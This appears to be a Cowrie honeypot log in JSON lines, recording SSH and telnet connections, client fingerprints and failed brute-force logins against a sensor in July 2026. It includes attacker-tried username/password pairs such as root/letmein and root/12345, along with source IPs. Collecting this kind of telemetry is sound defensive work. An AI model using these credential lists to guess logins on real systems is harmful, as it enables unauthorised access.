{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:31:06.478319Z","src_ip":"198.1.75.59","session":"b0a427aa392b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nassau_bahamas","password":"nassau123","message":"login attempt [nassau_bahamas/nassau123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:31:06.745526Z","src_ip":"198.1.75.59","session":"b0a427aa392b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":33146,"dst_ip":"159.203.135.109","dst_port":22,"session":"701bfe740fab","protocol":"ssh","message":"New connection: 62.133.62.83:33146 (159.203.135.109:22) [session: 701bfe740fab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:31:06.980797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:31:06.984987Z","src_ip":"62.133.62.83","session":"701bfe740fab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:31:07.070491Z","src_ip":"62.133.62.83","session":"701bfe740fab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"010887","message":"login attempt [root/010887] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:31:07.332261Z","src_ip":"62.133.62.83","session":"701bfe740fab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:31:07.836011Z","src_ip":"198.1.75.59","session":"b0a427aa392b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:31:08.422938Z","src_ip":"62.133.62.83","session":"701bfe740fab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":32918,"dst_ip":"159.203.135.109","dst_port":23,"session":"92ad1381a7c3","protocol":"telnet","message":"New connection: 170.64.224.25:32918 (159.203.135.109:23) [session: 92ad1381a7c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:31:25.139273Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":53654,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd29b6414d7a","protocol":"telnet","message":"New connection: 107.6.151.170:53654 (159.203.135.109:23) [session: cd29b6414d7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:31:32.108286Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":56788,"dst_ip":"10.17.0.5","dst_port":22,"session":"a145b7597ba1","protocol":"ssh","message":"New connection: 91.92.40.176:56788 (10.17.0.5:22) [session: a145b7597ba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:31:41.730587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:31:41.953893Z","src_ip":"91.92.40.176","session":"a145b7597ba1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:31:41.957242Z","src_ip":"91.92.40.176","session":"a145b7597ba1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:31:43.725595Z","src_ip":"91.92.40.176","session":"a145b7597ba1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:31:44.998326Z","src_ip":"91.92.40.176","session":"a145b7597ba1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":50922,"dst_ip":"159.203.135.109","dst_port":23,"session":"119e30702fdd","protocol":"telnet","message":"New connection: 137.184.5.188:50922 (159.203.135.109:23) [session: 119e30702fdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:31:45.873739Z"}
{"eventid":"cowrie.session.closed","duration":27.806231021881104,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:31:59.914389Z","src_ip":"107.6.151.170","session":"cd29b6414d7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.40376019477844,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:32:05.542909Z","src_ip":"170.64.224.25","session":"92ad1381a7c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":58836,"dst_ip":"159.203.135.109","dst_port":23,"session":"25c7c520505a","protocol":"telnet","message":"New connection: 137.184.5.188:58836 (159.203.135.109:23) [session: 25c7c520505a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:32:19.124588Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":33258,"dst_ip":"159.203.135.109","dst_port":23,"session":"0dc001f0806e","protocol":"telnet","message":"New connection: 137.184.5.188:33258 (159.203.135.109:23) [session: 0dc001f0806e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:32:35.386908Z"}
{"eventid":"cowrie.session.closed","duration":74.23086619377136,"message":"Connection lost after 74 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:33:00.104459Z","src_ip":"137.184.5.188","session":"119e30702fdd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.29.142.197","src_port":37752,"dst_ip":"10.17.0.5","dst_port":22,"session":"66dc2b6afce4","protocol":"ssh","message":"New connection: 66.29.142.197:37752 (10.17.0.5:22) [session: 66dc2b6afce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:33:39.605522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:33:39.609508Z","src_ip":"66.29.142.197","session":"66dc2b6afce4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:33:39.675130Z","src_ip":"66.29.142.197","session":"66dc2b6afce4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vauld","password":"S@f3!P#ssw0rd$88","message":"login attempt [vauld/S@f3!P#ssw0rd$88] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:33:39.872331Z","src_ip":"66.29.142.197","session":"66dc2b6afce4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.84138321876526,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:33:40.228203Z","src_ip":"137.184.5.188","session":"0dc001f0806e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:33:40.940095Z","src_ip":"66.29.142.197","session":"66dc2b6afce4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":52614,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5c124792719","protocol":"ssh","message":"New connection: 91.92.40.176:52614 (10.17.0.5:22) [session: a5c124792719]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:33:46.406400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:33:46.635825Z","src_ip":"91.92.40.176","session":"a5c124792719","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:33:46.638229Z","src_ip":"91.92.40.176","session":"a5c124792719","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"letmein","message":"login attempt [root/letmein] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:33:47.329796Z","src_ip":"91.92.40.176","session":"a5c124792719","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:33:48.546478Z","src_ip":"91.92.40.176","session":"a5c124792719","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":55424,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbabd921b813","protocol":"telnet","message":"New connection: 137.184.5.188:55424 (159.203.135.109:23) [session: fbabd921b813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:33:56.189753Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.228.62.150","src_port":35916,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cfaee627448","protocol":"ssh","message":"New connection: 66.228.62.150:35916 (10.17.0.5:22) [session: 4cfaee627448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:34:04.253138Z"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:34:08.133414Z","src_ip":"66.228.62.150","session":"4cfaee627448","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0015058517456,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:34:19.125956Z","src_ip":"137.184.5.188","session":"25c7c520505a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":50022,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b08edbe067d","protocol":"ssh","message":"New connection: 46.19.67.181:50022 (159.203.135.109:22) [session: 8b08edbe067d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:34:44.476341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:34:44.479627Z","src_ip":"46.19.67.181","session":"8b08edbe067d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:34:44.584757Z","src_ip":"46.19.67.181","session":"8b08edbe067d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"070388","message":"login attempt [root/070388] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:34:44.901580Z","src_ip":"46.19.67.181","session":"8b08edbe067d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:34:46.008600Z","src_ip":"46.19.67.181","session":"8b08edbe067d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":39622,"dst_ip":"10.17.0.5","dst_port":22,"session":"cca1179c665f","protocol":"ssh","message":"New connection: 103.27.238.114:39622 (10.17.0.5:22) [session: cca1179c665f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:34:54.115101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:34:54.119466Z","src_ip":"103.27.238.114","session":"cca1179c665f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:34:54.392109Z","src_ip":"103.27.238.114","session":"cca1179c665f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vova1988","message":"login attempt [root/vova1988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:34:55.211295Z","src_ip":"103.27.238.114","session":"cca1179c665f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:34:56.488283Z","src_ip":"103.27.238.114","session":"cca1179c665f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.163.176.54","src_port":52586,"dst_ip":"159.203.135.109","dst_port":22,"session":"7151c0d03160","protocol":"ssh","message":"New connection: 69.163.176.54:52586 (159.203.135.109:22) [session: 7151c0d03160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:09.064366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:09.069126Z","src_ip":"69.163.176.54","session":"7151c0d03160","protocol":"ssh"}
